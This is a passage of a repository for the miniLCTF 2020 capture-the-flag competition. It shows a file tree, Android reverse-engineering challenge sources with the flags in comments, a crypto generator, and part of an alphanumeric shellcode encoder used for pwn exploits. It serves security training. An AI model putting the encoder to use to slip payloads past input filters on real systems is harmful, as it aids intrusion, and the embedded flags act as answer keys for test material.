├── .gitattributes ├── .gitmodules ├── README.md ├── challenges ├── README.md ├── android │ ├── Khronos │ │ ├── Khronos.apk │ │ └── src │ │ │ └── main │ │ │ ├── AndroidManifest.xml │ │ │ ├── cpp │ │ │ ├── CMakeLists.txt │ │ │ └── native-lib.cpp │ │ │ └── java │ │ │ └── com │ │ │ └── happy │ │ │ └── khronos │ │ │ └── MainActivity.java │ ├── TestOnly │ │ ├── TestOnly.apk │ │ └── src │ │ │ └── main │ │ │ ├── AndroidManifest.xml │ │ │ └── java │ │ │ └── com │ │ │ └── happy │ │ │ └── testonly │ │ │ └── MainActivity.java │ └── easyshell │ │ ├── easyshell.apk │ │ └── unpacked.apk ├── crypto │ └── BilibiliDV │ │ ├── DVgenerator.py │ │ └── README.md ├── pwn │ ├── ezsc │ │ ├── ae64.py │ │ ├── docker-compose.yml │ │ ├── example.Dockerfile │ │ ├── exp.py │ │ └── src │ │ │ ├── pwn │ │ │ └── pwn.xinetd.conf │ ├── hello │ │ ├── docker-compose.yml │ │ ├── example.Dockerfile │ │ ├── exp.py │ │ └── src │ │ │ ├── pwn │ │ │ └── pwn.xinetd.conf │ ├── jail │ │ ├── Dockerfile │ │ ├── ctf.xinetd │ │ ├── exploit │ │ │ ├── exp.py │ │ │ └── exploit │ │ ├── pwn │ │ └── start.sh │ └── noleak │ │ ├── Dockerfile │ │ ├── ctf.xinetd │ │ ├── exp.py │ │ ├── start.sh │ │ └── time_management ├── reverse │ ├── EPL-Fish │ │ ├── ExDui.ec │ │ ├── QQ.e │ │ ├── app.ico │ │ └── res │ │ │ ├── LoginFrame │ │ │ ├── BtnBase.png │ │ │ ├── Btn_Login │ │ │ │ ├── aio_setting_white_down.png │ │ │ │ ├── aio_setting_white_hover.png │ │ │ │ ├── aio_setting_white_normal.png │ │ │ │ ├── btn_close_down.png │ │ │ │ ├── btn_close_highlight.png │ │ │ │ ├── btn_close_normal.png │ │ │ │ ├── btn_mini_down.png │ │ │ │ ├── btn_mini_highlight.png │ │ │ │ ├── btn_mini_normal.png │ │ │ │ ├── button_login_down.png │ │ │ │ ├── button_login_hover.png │ │ │ │ ├── button_login_normal.png │ │ │ │ ├── corner_right_hover.png │ │ │ │ ├── corner_right_normal_breath.png │ │ │ │ ├── corner_right_normal_down.png │ │ │ │ ├── mima.png │ │ │ │ ├── mima_hover.png │ │ │ │ ├── mima_press.png │ │ │ │ ├── switch_single_down.png │ │ │ │ ├── switch_single_hover.png │ │ │ │ ├── switch_single_normal.png │ │ │ │ ├── zhuce.png │ │ │ │ ├── zhuce_hover.png │ │ │ │ └── zhuce_press.png │ │ │ ├── CheckBox │ │ │ │ ├── CheckBox_down.png │ │ │ │ ├── CheckBox_highlight.png │ │ │ │ ├── CheckBox_normal.png │ │ │ │ ├── Checkbox_tick_highlight1.png │ │ │ │ ├── Checkbox_tick_normal1.png │ │ │ │ └── Checkbox_tick_pushed1.png │ │ │ ├── Editbk_bottom_hover.png │ │ │ ├── Editbk_normal.png │ │ │ ├── Editbk_top_hover.png │ │ │ ├── PasswordEdit_Keybd │ │ │ │ ├── keyboard_down.png │ │ │ │ ├── keyboard_hover.png │ │ │ │ └── keyboard_normal.png │ │ │ ├── a.jpg │ │ │ ├── bk.jpg │ │ │ ├── default.jpg │ │ │ ├── logo-banner.png │ │ │ └── status │ │ │ │ ├── Qme.png │ │ │ │ ├── away.png │ │ │ │ ├── busy.png │ │ │ │ ├── imonline.png │ │ │ │ ├── invisible.png │ │ │ │ └── mute.png │ │ │ ├── SysBtn │ │ │ ├── aio_setting_down.png │ │ │ ├── aio_setting_hover.png │ │ │ ├── aio_setting_normal.png │ │ │ ├── sysbtn_close_down.png │ │ │ ├── sysbtn_close_hover.png │ │ │ ├── sysbtn_close_normal.png │ │ │ ├── sysbtn_max_down.png │ │ │ ├── sysbtn_max_hover.png │ │ │ ├── sysbtn_max_normal.png │ │ │ ├── sysbtn_min_down.png │ │ │ ├── sysbtn_min_hover.png │ │ │ ├── sysbtn_min_normal.png │ │ │ ├── sysbtn_restore_down.png │ │ │ ├── sysbtn_restore_hover.png │ │ │ └── sysbtn_restore_normal.png │ │ │ └── defaultFace.png │ ├── What's Virtialization │ │ ├── README.md │ │ └── src │ │ │ ├── control_flow_flattening.cpp │ │ │ └── virtualization.cpp │ ├── easyre │ │ └── easyre.cpp │ └── machine │ │ ├── Dockerfile │ │ ├── build.js │ │ ├── index.html │ │ ├── index.js │ │ ├── start.sh │ │ └── ug │ │ ├── .gitignore │ │ ├── README.md │ │ ├── index.js │ │ ├── package-lock.json │ │ ├── package.json │ │ └── src │ │ ├── Map.js │ │ ├── Set.js │ │ ├── ast.js │ │ ├── config.js │ │ ├── getDeclSet.js │ │ ├── getLiteralSet.js │ │ ├── idGen.js │ │ ├── index.js │ │ ├── replace.js │ │ ├── replaceOuter.js │ │ ├── template.js │ │ ├── ug.js │ │ └── util.js └── web │ ├── Personal_IP_Query │ ├── Dockerfile │ ├── PersonalIPQuery │ │ ├── __init__.py │ │ └── views.py │ ├── README.md │ ├── gunicorn.conf.py │ └── requirements.txt │ ├── areyoureclu3e │ ├── Dockerfile │ ├── areyoureclu3e.md │ ├── db.sql │ ├── flag.sh │ ├── php.ini │ └── src │ │ ├── .index.php.swp │ │ ├── .login.php.swp │ │ ├── connection.php │ │ ├── flag.php │ │ ├── index.php │ │ ├── login.php │ │ └── loginForm.html │ ├── id_wife │ ├── .DS_Store │ ├── Dockerfile │ ├── db.sql │ ├── flag.sh │ └── src │ │ ├── flag.php │ │ ├── index.php │ │ └── xdsec.php │ ├── include │ ├── TE9PS0hFUkU=.html │ ├── ZmxhZ2ZsQGcxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjM.txt │ ├── f1na1.php │ ├── hint.php │ ├── index.php │ └── next.php │ ├── lets_play_dolls │ ├── Dockerfile │ ├── README.md │ ├── index.php │ └── nginx.conf │ ├── p │ ├── Dockerfile │ ├── README.md │ ├── default.conf │ ├── src │ │ ├── classes.php │ │ └── index.php │ └── start.sh │ └── 签到题 │ ├── Dockerfile │ ├── README.md │ ├── index.php │ ├── nginx.conf │ ├── readflag │ ├── readflag.c │ └── start.sh ├── resources ├── platform │ ├── backend │ │ └── whale.diff │ └── registry │ │ ├── docker-compose.yml │ │ └── nginx.conf └── scoreboard.xlsx └── writeups ├── CCCC.md ├── H3x.md ├── Int3rn3t_Expl0rer.md ├── README.md ├── flag_小白预定.md ├── konossyyda.md ├── 单人小队.md ├── 想要多人运动.md └── 枣子姐永远滴神.md /.gitattributes: -------------------------------------------------------------------------------- 1 | *.apk filter=lfs diff=lfs merge=lfs -text 2 | *.xlsx filter=lfs diff=lfs merge=lfs -text 3 | *.png filter=lfs diff=lfs merge=lfs -text 4 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "resources/platform/frontend"] 2 | path = resources/platform/frontend 3 | url = https://github.com/frankli0324/MiniL-2020-Frontend 4 | [submodule "resources/platform/backend/ctfd-whale"] 5 | path = resources/platform/backend/ctfd-whale 6 | url = https://github.com/glzjin/ctfd-whale 7 | [submodule "resources/platform/backend/ctfd-more-events"] 8 | path = resources/platform/backend/ctfd-more-events 9 | url = https://github.com/mssctf-platform/ctfd-more-events 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # miniLCTF_2020 2 | resources for mini lctf 2020 3 | 4 | ## Copyright @ XDSEC 5 | 6 | 本仓库所有题目、官方题解版权归属于XDSEC组织所有,你可以: 7 | 8 | ### 不需要告知与授权 9 | 10 | - 用于个人学习,包括发表博客文章、题解,文章附上本仓库地址即可; 11 | - 在非商业平台上部署开放本仓库题目供其他人练习,题目描述中附加题目来源信息即可; 12 | 13 | ### 需要授权 14 | 15 | - 在商业平台上部署开放本仓库的题目供其他人练习; 16 | - 使用本仓库题目进行盈利活动; 17 | - 在其他比赛中使用本仓库题目(不建议在比赛中使用已经出现在其他比赛中的题目); 18 | 19 | 如果您有以上需求,请发送邮件到 [admin@xdsec.club](mailto:admin@xdsec.club) 告知用途并申请授权,收到许可回复后方可使用。 20 | -------------------------------------------------------------------------------- /challenges/README.md: -------------------------------------------------------------------------------- 1 | # challenges 2 | 3 | 此目录下为题目源码/环境 -------------------------------------------------------------------------------- /challenges/android/Khronos/Khronos.apk: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:de00594cf1e7697d8560151dcebc1285ce9b62b4e5fb2e0d444103b949963e1d 3 | size 1089575 4 | -------------------------------------------------------------------------------- /challenges/android/Khronos/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /challenges/android/Khronos/src/main/cpp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # For more information about using CMake with Android Studio, read the 2 | # documentation: https://d.android.com/studio/projects/add-native-code.html 3 | 4 | # Sets the minimum version of CMake required to build the native library. 5 | 6 | cmake_minimum_required(VERSION 3.4.1) 7 | 8 | # Creates and names a library, sets it as either STATIC 9 | # or SHARED, and provides the relative paths to its source code. 10 | # You can define multiple libraries, and CMake builds them for you. 11 | # Gradle automatically packages shared libraries with your APK. 12 | 13 | add_library( # Sets the name of the library. 14 | native-lib 15 | 16 | # Sets the library as a shared library. 17 | SHARED 18 | 19 | # Provides a relative path to your source file(s). 20 | native-lib.cpp) 21 | 22 | # Searches for a specified prebuilt library and stores the path as a 23 | # variable. Because CMake includes system libraries in the search path by 24 | # default, you only need to specify the name of the public NDK library 25 | # you want to add. CMake verifies that the library exists before 26 | # completing its build. 27 | 28 | find_library( # Sets the name of the path variable. 29 | log-lib 30 | 31 | # Specifies the name of the NDK library that 32 | # you want CMake to locate. 33 | log) 34 | 35 | # cppFlags "-mllvm -fiber-enable -mllvm -fiber-vm -mllvm -fiber-sc" 36 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -mllvm -fiber-enable=false -mllvm -fiber-cfg=I:/llvm-9.0.1/cmake-build-release-mingw/bin/fiber.yaml -mllvm -fiber-vm") 37 | 38 | # Specifies libraries CMake should link to your target library. You 39 | # can link multiple libraries, such as libraries you define in this 40 | # build script, prebuilt third-party libraries, or system libraries. 41 | 42 | target_link_libraries( # Specifies the target library. 43 | native-lib 44 | 45 | # Links the target library to the log library 46 | # included in the NDK. 47 | ${log-lib}) -------------------------------------------------------------------------------- /challenges/android/Khronos/src/main/cpp/native-lib.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | unsigned khronos(unsigned R); 6 | 7 | unsigned secure(const char *); 8 | 9 | //#define TAG "Khronos_HAPPY" 10 | //#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,TAG ,__VA_ARGS__) 11 | 12 | extern "C" JNIEXPORT jstring JNICALL 13 | Java_com_happy_khronos_MainActivity_stringFromJNI( 14 | JNIEnv *env, 15 | jobject /* this */) { 16 | std::string welcome = "See Khronos"; 17 | return env->NewStringUTF(welcome.c_str()); 18 | } 19 | 20 | #pragma clang diagnostic push 21 | #pragma ide diagnostic ignored "readability-magic-numbers" 22 | extern "C" JNIEXPORT jint JNICALL 23 | Java_com_happy_khronos_MainActivity_check( 24 | JNIEnv *env, 25 | jobject /* this */, 26 | jstring flag_j) { 27 | const char *flag = nullptr; 28 | 29 | // minil{KhR0nOs_1S_m4SteR_0f_t1mE} 30 | 31 | if (flag_j) { 32 | flag = env->GetStringUTFChars(flag_j, nullptr); 33 | } 34 | size_t len = strlen(flag); 35 | if (len != 32)return 0; 36 | if (strncmp(flag, "minil{", 6) != 0)return 0; 37 | if (flag[len - 1] != '}')return 0; 38 | 39 | int table[0x10] = {0}; 40 | for (int i = 6; i < 32; i += 2) { 41 | table[(i / 2) - 3] = khronos((flag[i] << 8) + flag[i + 1]); 42 | } 43 | int god[] = {241, 183, 26, 82, 107, 73, 118, 2, 193, 214, 78, 182, 224,}; 44 | for (int i = 0; i < 13; ++i) { 45 | if (god[i] != table[i])return 1; 46 | } 47 | unsigned answer = secure(flag); 48 | if (1929691002 != answer)return 2; 49 | return 3; 50 | } 51 | #pragma clang diagnostic pop 52 | 53 | unsigned secure(const char *input) { 54 | unsigned int seed = 1331; 55 | unsigned int hash = 0; 56 | while (*input)hash = hash * seed + (*input++); 57 | return (hash & 0x7FFFFFFF); 58 | } 59 | 60 | struct Data { 61 | unsigned output; 62 | unsigned lastbit; 63 | }; 64 | 65 | struct Data magicData; 66 | 67 | void run(unsigned R, unsigned mask) { 68 | unsigned temp = (R << 1) & 0xffffffff; 69 | unsigned i = (R & mask) & 0xffffffff; 70 | unsigned lastbit = 0; 71 | while (i) { 72 | lastbit ^= (i & 1); 73 | i = i >> 1; 74 | } 75 | temp ^= lastbit; 76 | magicData.output = temp; 77 | magicData.lastbit = lastbit; 78 | } 79 | 80 | unsigned khronos(unsigned R) { 81 | unsigned mask = 0b10001000100010000000110010010010; 82 | unsigned magic = 0; 83 | for (unsigned i = 0; i < 32; ++i) { 84 | int tmp = 0; 85 | for (int j = 0; j < 8; ++j) { 86 | run(R, mask); 87 | R = magicData.output; 88 | tmp = (tmp << 1) ^ magicData.lastbit; 89 | } 90 | magic = (magic << 1) + tmp & 0xFF; 91 | } 92 | return magic; 93 | } 94 | -------------------------------------------------------------------------------- /challenges/android/Khronos/src/main/java/com/happy/khronos/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.happy.khronos; 2 | 3 | import androidx.appcompat.app.AppCompatActivity; 4 | 5 | import android.os.Bundle; 6 | import android.util.Log; 7 | import android.view.View; 8 | import android.widget.Button; 9 | import android.widget.EditText; 10 | import android.widget.TextView; 11 | import android.widget.Toast; 12 | 13 | import java.util.Arrays; 14 | 15 | public class MainActivity extends AppCompatActivity { 16 | 17 | static { 18 | System.loadLibrary("native-lib"); 19 | } 20 | 21 | @Override 22 | protected void onCreate(Bundle savedInstanceState) { 23 | super.onCreate(savedInstanceState); 24 | setContentView(R.layout.activity_main); 25 | 26 | final EditText tv = findViewById(R.id.edittext); 27 | final Button btn = findViewById(R.id.button); 28 | btn.setOnClickListener(new View.OnClickListener() { 29 | @Override 30 | public void onClick(View view) { 31 | String flag=tv.getText().toString().trim(); 32 | int ans=check(flag); 33 | if (ans==0){ 34 | Toast.makeText(MainActivity.this, "Wrong flag.", Toast.LENGTH_SHORT).show(); 35 | }else if(ans==1){ 36 | Toast.makeText(MainActivity.this, "Khronos is transcendental, your flag is not correct.", Toast.LENGTH_SHORT).show(); 37 | }else if(ans==2){ 38 | Toast.makeText(MainActivity.this, "Khronos is mysterious, wrong flag but is almost correct.", Toast.LENGTH_SHORT).show(); 39 | }else if (ans==3){ 40 | Toast.makeText(MainActivity.this, "Good job. The flag is "+flag, Toast.LENGTH_LONG).show(); 41 | } 42 | } 43 | }); 44 | 45 | } 46 | 47 | public native int check(String flag); 48 | } 49 | -------------------------------------------------------------------------------- /challenges/android/TestOnly/TestOnly.apk: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:be11614f23eadc8b2fa5a4e4b09f85219f0e52ef713113cb6c8eabae4e8d3308 3 | size 1160721 4 | -------------------------------------------------------------------------------- /challenges/android/TestOnly/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /challenges/android/TestOnly/src/main/java/com/happy/testonly/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.happy.testonly; 2 | 3 | import android.os.Bundle; 4 | import android.util.Log; 5 | import android.view.WindowManager; 6 | import android.widget.TextView; 7 | 8 | import androidx.appcompat.app.AppCompatActivity; 9 | 10 | import java.nio.charset.StandardCharsets; 11 | import java.security.MessageDigest; 12 | 13 | public class MainActivity extends AppCompatActivity { 14 | 15 | @Override 16 | protected void onCreate(Bundle savedInstanceState) { 17 | super.onCreate(savedInstanceState); 18 | setContentView(R.layout.activity_main); 19 | go(); 20 | run(); 21 | } 22 | 23 | private void go() { 24 | getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE, WindowManager.LayoutParams.FLAG_SECURE); 25 | new Thread(new Runnable() { 26 | @Override 27 | public void run() { 28 | try { 29 | while (true) { 30 | Thread.sleep(800); 31 | runOnUiThread(new Runnable() { 32 | @Override 33 | public void run() { 34 | TextView tv = findViewById(R.id.text); 35 | tv.setText(""); 36 | } 37 | }); 38 | Thread.sleep(200); 39 | } 40 | } catch (InterruptedException e) { 41 | e.printStackTrace(); 42 | } 43 | } 44 | }).start(); 45 | } 46 | 47 | private void run() { 48 | new Thread(new Runnable() { 49 | @Override 50 | public void run() { 51 | try { 52 | while (true) { 53 | Thread.sleep(600); 54 | runOnUiThread(new Runnable() { 55 | @Override 56 | public void run() { 57 | TextView tv = findViewById(R.id.text); 58 | tv.setText(working()); 59 | } 60 | }); 61 | Thread.sleep(390); 62 | } 63 | } catch (InterruptedException e) { 64 | e.printStackTrace(); 65 | } 66 | } 67 | }).start(); 68 | } 69 | 70 | public static String shaEncode(String inStr) throws Exception { 71 | MessageDigest sha = null; 72 | try { 73 | sha = MessageDigest.getInstance("SHA"); 74 | } catch (Exception e) { 75 | System.out.println(e.toString()); 76 | e.printStackTrace(); 77 | return ""; 78 | } 79 | 80 | byte[] byteArray = inStr.getBytes("UTF-8"); 81 | byte[] md5Bytes = sha.digest(byteArray); 82 | StringBuffer hexValue = new StringBuffer(); 83 | for (int i = 0; i < md5Bytes.length; i++) { 84 | int val = ((int) md5Bytes[i]) & 0xff; 85 | if (val < 16) { 86 | hexValue.append("0"); 87 | } 88 | hexValue.append(Integer.toHexString(val)); 89 | } 90 | return hexValue.toString(); 91 | } 92 | 93 | 94 | public static int ord(String s) { 95 | return s.length() > 0 ? (s.getBytes(StandardCharsets.UTF_8)[0] & 0xff) : 0; 96 | } 97 | 98 | public static int ord(char c) { 99 | return c < 0x80 ? c : ord(Character.toString(c)); 100 | } 101 | 102 | private String working() { 103 | String origin = "B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616"; 104 | String result = ""; 105 | try { 106 | result = shaEncode(origin); 107 | } catch (Exception e) { 108 | e.printStackTrace(); 109 | } 110 | //Log.d("TestThread", "working: "+result); 111 | // 25596746a8fa78a9344a265ad3bef5a3 112 | // flag{Th1s_S33M3_40R_T3sT_0N1Y} 113 | char[] table = {85, 95, 5, 83, 75, 96, 94, 0, 17, 61, 102, 87, 80, 123, 4, 105, 85, 83, 101, 109, 55, 85, 23, 48, 106, 1, 40, 7, 97, 31}; 114 | for (int i = 0; i < table.length; i++) { 115 | table[i] ^= ord(result.charAt(i)); 116 | } 117 | //Log.d("TestThread", "working string: "+String.copyValueOf(table)); 118 | return String.copyValueOf(table).replace("flag","minil"); 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /challenges/android/easyshell/easyshell.apk: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:53e5f5672252cda03eab5819babe0fba04ad250e0dd8e4059b28d8a60a3e27f7 3 | size 1254312 4 | -------------------------------------------------------------------------------- /challenges/android/easyshell/unpacked.apk: -------------------------------------------------------------------------------- 1 | version https://git-lfs.github.com/spec/v1 2 | oid sha256:bbd5ad413808eed0bf0575000efd9d33dee26969576fa1a4c9eb5227a9b53905 3 | size 991148 4 | -------------------------------------------------------------------------------- /challenges/crypto/BilibiliDV/DVgenerator.py: -------------------------------------------------------------------------------- 1 | # base22 2 | baseTable = 'd59nD71EcAt38aT24eCN06' 3 | baseArray = {} 4 | for i in range(22): 5 | baseArray[baseTable[i]] = i 6 | # xor = 50790 = (0000 0000 1100 0110 0110 0110) 7 | # 22^5 = 5153632 = (0100 1110 1010 0011 0110 0000) 8 | xor = 50790 9 | # 野兽先辈的增益buff! 10 | inc = 114514 11 | # AV number range from 1000000 to 4000000 12 | startNum = 1000000 13 | endNum = 4000000 14 | # DV number static string 15 | dvStaticStr = 'DV t ACD Ne ' 16 | # DV number dynamic index 17 | dynIndex = [12, 11, 8, 4, 2] 18 | 19 | 20 | def encrypt(x): 21 | x = (x ^ xor) + inc 22 | dvNum = list(dvStaticStr) 23 | for i in range(5): 24 | dvNum[dynIndex[i]] = baseTable[x // 22 ** i % 22] 25 | return ''.join(dvNum) 26 | 27 | 28 | def decrypt(x): 29 | r = 0 30 | for i in range(5): 31 | r += baseArray[x[dynIndex[i]]] * 22 ** i 32 | return (r - inc) ^ xor 33 | 34 | # 出题av号 35 | testAv = 4123456 36 | print(encrypt(testAv)) 37 | print(decrypt(encrypt(testAv))) 38 | # av4123456 - DVetNACDANe80 39 | # dv base64 RFZldE5BQ0RBTmU4MA== 40 | # flag should be miniLCTF{RFZldE5BQ0RBTmU4MA==} 41 | 42 | # file = open('av1000000To3999999.txt', 'w') 43 | # for num in range(startNum, endNum): 44 | # file.write('av'+str(num)+' - '+encrypt(num)+'\n') 45 | 46 | 47 | # print(encrypt(2598876)) 48 | # print(decrypt("DV3t3ACDnNe5C")) 49 | # print(encrypt(3454756)) 50 | # print(decrypt("DV2tnACD3Ne8c")) 51 | # print(encrypt(4000000)) 52 | # print(decrypt("DVeteACDDNedd")) 53 | # print(encrypt(1000000)) 54 | # print(decrypt("DVDtCACD7Ne88")) 55 | -------------------------------------------------------------------------------- /challenges/crypto/BilibiliDV/README.md: -------------------------------------------------------------------------------- 1 | ## BilibiliDV 2 | 3 | https://endcat.cn/kanna/index.php/2020/05/19/852/ -------------------------------------------------------------------------------- /challenges/pwn/ezsc/ae64.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | from pwn import context,asm,success,shellcraft,debug 3 | context.arch = 'amd64' 4 | 5 | class AE64(): 6 | def __init__(self): 7 | self.alphanum = map(ord,list('UVWXYZABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrstuvwxyz0123456789')) 8 | self.shift_tbl=[65,97,48,66,98,49,67,99,50,68,100,51,69,101, 9 | 52,70,102,53,71,103,54,72,104,55,73,105,56, 10 | 74,106,57,75,107,76,108,77,109,78,110,79,111, 11 | 80,112,81,113,82,114,83,115,84,116,85,117,86, 12 | 118,87,119,88,120,89,121,90,122] 13 | self.mul_cache={} # 用于缓存imul的结果 14 | self.mul_rdi=0 # 用于减少mul使用次数从而缩短shellcode 15 | self.nop = 'Q' # nop = asm('push rcx') 16 | self.nop2 = 'QY' # nop2 = asm('push rcx;pop rcx') 17 | 18 | self.init_encoder_asm = ''' 19 | /* set encoder */ 20 | /* 0x5658 x 0x30 == 0x103080 (53,128) r8 */ 21 | /* 0x5734 x 0x30 == 0x1059c0 (89,192) r9 */ 22 | /* 0x5654 x 0x5a == 0x1e5988 (89,136) r10 */ 23 | /* 0x6742 x 0x64 == 0x2855c8 (85,200) rdx */ 24 | 25 | push 0x30 26 | push rsp 27 | pop rcx 28 | 29 | imul di,WORD PTR [rcx],0x5658 30 | push rdi 31 | pop r8 /* 0x3080 */ 32 | 33 | imul di,WORD PTR [rcx],0x5734 34 | push rdi 35 | pop r9 /* 0x59c0 */ 36 | 37 | push 0x5a 38 | push rsp 39 | pop rcx 40 | 41 | imul di,WORD PTR [rcx],0x5654 42 | push rdi 43 | pop r10 /* 0x5988 */ 44 | 45 | push 0x64 46 | push rsp 47 | pop rcx 48 | 49 | imul di,WORD PTR [rcx],0x6742 50 | push rdi 51 | pop rdx /* 0x55c8 */ 52 | ''' 53 | # self.init_encoder = asm(self.init_encoder_asm) 54 | self.init_encoder = 'j0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZ' 55 | 56 | self.zero_rdi_asm=''' 57 | push rdi 58 | 59 | push rsp 60 | pop rcx 61 | xor rdi,[rcx] 62 | 63 | pop rcx 64 | ''' 65 | # self.zero_rdi = asm(self.zero_rdi_asm) 66 | self.zero_rdi = 'WTYH39Y' 67 | self.vaild_reg = ['rax','rbx','rcx','rdx','rdi','rsi','rbp','rsp', 68 | 'r8','r9','r10','r11','r12','r13','r14','r15'] 69 | 70 | def encode(self,raw_sc,addr_in_reg='rax',pre_len=0,is_rdi_zero=0): 71 | r''' 72 | raw_sc:需要encode的机器码 73 | addr_in_reg: 指向shellcode附近的寄存器名称,默认rax 74 | pre_len:因为默认rax指向shellcode附近,这个字段的意思为 reg+pre_len == encoder的起始地址,默认0 75 | is_rdi_zero: 跑shellcode之前rdi是否为0,如果确定为0,可以设置此flag为1,这样可以省去几byte空间,默认0即rdi不为0 76 | encoder_len:留给encoder的最大字节长度(会自动调整) 77 | 78 | 地址构成: 79 | rax --> xxxxx \ 80 | xxxxx | pre_len (adjust addr to rax) 81 | xxxxx / 82 | encoder yyyyy \ 83 | yyyyy | encoder_len 84 | yyyyy / 85 | your_sc zzzzz \ 86 | zzzzz | encoded shellcode 87 | zzzzz | 88 | zzzzz / 89 | ''' 90 | save_log_level = context.log_level 91 | context.log_level = 99 92 | 93 | if not is_rdi_zero: 94 | self.prologue = self.zero_rdi+self.init_encoder 95 | else: 96 | self.prologue = self.init_encoder 97 | 98 | addr_in_reg=addr_in_reg.lower() 99 | if addr_in_reg != 'rax': 100 | if addr_in_reg not in self.vaild_reg: 101 | print '[-] not vaild reg' 102 | return None 103 | else: 104 | self.prologue=asm('push {};pop rax;\n'.format(addr_in_reg))+self.prologue 105 | 106 | self.raw_sc = raw_sc 107 | self.pre_len = pre_len 108 | self.encoder_len=len(self.prologue) 109 | if not self.encode_raw_sc(): 110 | print '[-] error while encoding raw_sc' 111 | return None 112 | while True: 113 | debug('AE64: trying length {}'.format(self.encoder_len)) 114 | encoder = asm(self.gen_encoder(self.pre_len+self.encoder_len)) 115 | final_sc = self.prologue+encoder 116 | if self.encoder_len >= len(final_sc) and self.encoder_len-len(final_sc) <= 6:# nop len 117 | break 118 | self.encoder_len=len(final_sc) 119 | nop_len = self.encoder_len - len(final_sc) 120 | context.log_level = save_log_level 121 | 122 | success('shellcode generated, length info -> prologue:{} + encoder:{} + nop:{} + encoded_sc:{} == {}'.format( 123 | len(self.prologue), 124 | len(final_sc)-len(self.prologue), 125 | nop_len, 126 | len(self.enc_raw_sc), 127 | len(final_sc)+nop_len+len(self.enc_raw_sc))) 128 | final_sc += self.nop2*(nop_len/2)+self.nop*(nop_len%2)+self.enc_raw_sc 129 | return final_sc 130 | 131 | def encode_raw_sc(self): 132 | ''' 133 | 计算encode后的shellcode,以及需要的加密步骤(encoder) 134 | ''' 135 | reg=['rdx','r8','r9','r10'] 136 | dh=[0x55,0x30,0x59,0x59] 137 | dl=[0xc8,0x80,0xc0,0x88] 138 | 139 | tmp_sc=list(self.raw_sc) 140 | # 帮助后续生成encoder。 141 | # 由三部分组成: 142 | # 寄存器所提供地址和所要加密字节的偏移;用到的寄存器;是高8字节(dh)还是低8字节(dl) 143 | encoder_info=[] 144 | 145 | for i in range(len(self.raw_sc)): 146 | oc = ord(self.raw_sc[i]) 147 | if oc not in self.alphanum: # 不是alphanumeric才需要加密 148 | for j,n in enumerate(dh if oc < 0x80 else dl): 149 | if oc^n in self.alphanum: 150 | tmp_sc[i] = chr(oc^n) 151 | encoder_info.append((i,reg[j],1 if oc < 0x80 else 0)) 152 | break 153 | self.enc_raw_sc = ''.join(tmp_sc) 154 | self.encoder_info = encoder_info 155 | return 1 156 | 157 | def find_mul_force(self,need): 158 | ''' 159 | 用于查找所需word如何由两个数相乘&0xffff得到 160 | ''' 161 | result_cache = self.mul_cache.get(need) 162 | if result_cache: 163 | return result_cache 164 | for h in self.alphanum: 165 | for l in self.alphanum: 166 | mul_word = (h<<8)+l 167 | for mul_byte in self.alphanum: 168 | if (mul_word*mul_byte)&0xffff == need: 169 | self.mul_cache[need] = (mul_word,mul_byte) # add to mul cache 170 | return (mul_word,mul_byte) 171 | # not find 172 | return (0,0) 173 | 174 | def find_mul_add(self,need): 175 | ''' 176 | 用于查找所需offset如何由两个数相乘&0xffff再加上一个常数得到 177 | ''' 178 | if self.mul_rdi == 0: #not used yet 179 | for shift in self.shift_tbl: 180 | if need-shift > 0: 181 | mul_word,mul_byte = self.find_mul_force(need-shift) 182 | if mul_word != 0: # find it 183 | self.mul_rdi = [mul_word,mul_byte] 184 | return (mul_word,mul_byte,shift) 185 | else: # 说明encoder已经设置了rdi,为了让shellcode尽量短,应尽量使用常数调整,而不是重新设置rdi 186 | rdi = (self.mul_rdi[0]*self.mul_rdi[1])&0xffff 187 | if need-rdi in self.shift_tbl: # we find offset 188 | return (self.mul_rdi[0],self.mul_rdi[1],need-rdi) 189 | else: # not find :( 190 | for shift in self.shift_tbl: 191 | if need-shift > 0: 192 | mul_word,mul_byte = self.find_mul_force(need-shift) 193 | if mul_word != 0: # find it 194 | self.mul_rdi = [mul_word,mul_byte] 195 | return (mul_word,mul_byte,shift) 196 | print 'cant find mul for {} :('.format(need) 197 | exit(0) 198 | 199 | def gen_encoder(self,offset): 200 | ''' 201 | 根据函数encode_raw_sc得到的结果生成encoder 202 | ''' 203 | sc ='' 204 | old_rdi=[0,0] 205 | for raw_idx,regname,hl in self.encoder_info: 206 | idx = offset+raw_idx 207 | mul_word,mul_byte,shift = self.find_mul_add(idx) 208 | if mul_word == old_rdi[0] and mul_byte == old_rdi[1]: # edi not changed 209 | pass 210 | else: 211 | sc+='push {};push rsp;pop rcx;imul di,[rcx],{};\n'.format(mul_byte,mul_word) 212 | old_rdi = self.mul_rdi 213 | if regname != 'rdx': #backup rdx and set 214 | sc+='push rdx;push {};pop rdx;\n'.format(regname) 215 | 216 